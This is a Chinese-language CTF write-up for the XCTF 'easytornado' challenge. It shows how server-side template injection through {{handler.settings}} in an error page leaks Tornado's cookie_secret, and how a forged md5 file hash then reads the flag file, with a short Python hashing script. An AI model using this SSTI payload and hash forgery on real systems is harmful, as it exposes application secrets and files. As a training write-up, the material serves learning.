前言:一樣,做XCTF題esaytornado時的知識點,還是認真刷題慢慢增加自己的知識面吧。
tornado是python中的一個web應用框架。
拿到題目發現有三個文件:
flag.txt
/flag.txt flag in /fllllllllllllag
發現flag在/fllllllllllllag文件里;
welcome.txt
/welcome.txt render
render是python中的一個渲染函數,渲染變量到模板中,即可以通過傳遞不同的參數形成不同的頁面。
hints.txt
/hints.txt md5(cookie_secret+md5(filename))
filehash=md5(cookie_secret+md5(filename)) 現在filename=/fllllllllllllag,只需要知道cookie_secret的既能訪問flag。
測試后發現還有一個error界面,格式為/error?msg=Error,懷疑存在服務端模板注入攻擊 (SSTI)
嘗試/error?msg={{datetime}} 在Tornado的前端頁面模板中,datetime是指向python中datetime這個模塊,Tornado提供了一些對象別名來快速訪問對象,可以參考Tornado官方文檔
通過查閱文檔發現cookie_secret在Application對象settings屬性中,還發現self.application.settings有一個別名
RequestHandler.settings An alias for self.application.settings.
handler指向的處理當前這個頁面的RequestHandler對象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings。
構造payload獲取cookie_secret
/error?msg={{handler.settings}}
'cookie_secret': 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r'
計算filehash值:
import hashlib def md5(s): md5 = hashlib.md5() md5.update(s) return md5.hexdigest() def filehash(): filename = '/fllllllllllllag' cookie_secret = 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r' print(md5(cookie_secret+md5(filename))) if __name__ == '__main__': filehash()
payload:
file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
成功獲取flag。
在 模板引擎里,{{ var }} 除了可以輸出傳遞的變量以外,還能執行一些基本的表達式然后將其結果作為該模板變量的值,例如這里用戶輸入 name={{2*10}} ,則在服務端拼接的模版內容為:
Hello {{2*10}}
Twig 模板引擎在編譯模板的過程中會計算 {{2*10}} 中的表達式 2*10 ,會將其返回值 20 作為模板變量的值輸出,如下圖:
轉載參考:https://www.freebuf.com/vuls/83999.html#
https://www.cnblogs.com/gzs-monkey/p/10727330.html
https://adworld.xctf.org.cn/task/writeup?type=web&id=5422&number=3&grade=1&page=1